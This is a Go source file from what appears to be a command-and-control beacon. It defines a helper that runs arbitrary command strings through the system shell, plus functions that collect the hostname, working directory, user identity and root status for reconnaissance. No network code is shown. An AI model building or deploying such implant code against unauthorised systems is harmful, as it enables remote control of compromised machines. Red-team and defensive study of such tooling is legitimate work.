Files
noPROXY_c2s/rtc-c2/cmd/beacon/util.go
T

84 lines
1.5 KiB
Go

package main
import (
"bytes"
"fmt"
"os"
"os/exec"
"os/user"
"runtime"
"strings"
)
// runShell executes a command through the system shell and returns output.
func runShell(shell, command string) (string, int, error) {
var stdout, stderr bytes.Buffer
cmd := exec.Command(shell)
cmd.Stdin = strings.NewReader(command)
cmd.Stdout = &stdout
cmd.Stderr = &stderr
if err := cmd.Run(); err != nil {
exitCode := 1
if exitErr, ok := err.(*exec.ExitError); ok {
exitCode = exitErr.ExitCode()
}
output := stdout.String()
if errMsg := stderr.String(); errMsg != "" {
if output != "" {
output += "\n"
}
output += errMsg
}
return output, exitCode, err
}
output := stdout.String()
if errMsg := stderr.String(); errMsg != "" {
if output != "" {
output += "\n"
}
output += errMsg
}
return output, cmd.ProcessState.ExitCode(), nil
}
func getHostname() string {
hostname, err := os.Hostname()
if err != nil {
return "unknown"
}
return hostname
}
func getCWD() string {
cwd, err := os.Getwd()
if err != nil {
return "unknown"
}
return cwd
}
func getCurrentUser() string {
u, err := user.Current()
if err != nil {
return "unknown"
}
info := fmt.Sprintf("Username: %s\nUID: %s\nGID: %s\nHome: %s",
u.Username, u.Uid, u.Gid, u.HomeDir)
// Check for elevated privileges
if runtime.GOOS != "windows" {
if os.Geteuid() == 0 {
info += "\nPrivilege: root"
} else {
info += "\nPrivilege: user"
}
}
return info
}